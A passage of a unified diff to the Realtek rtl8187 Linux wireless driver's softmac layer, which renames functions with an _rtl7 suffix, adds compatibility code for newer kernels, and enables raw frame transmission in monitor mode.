sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-08-12 13:11:33.000000000 -0400 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; 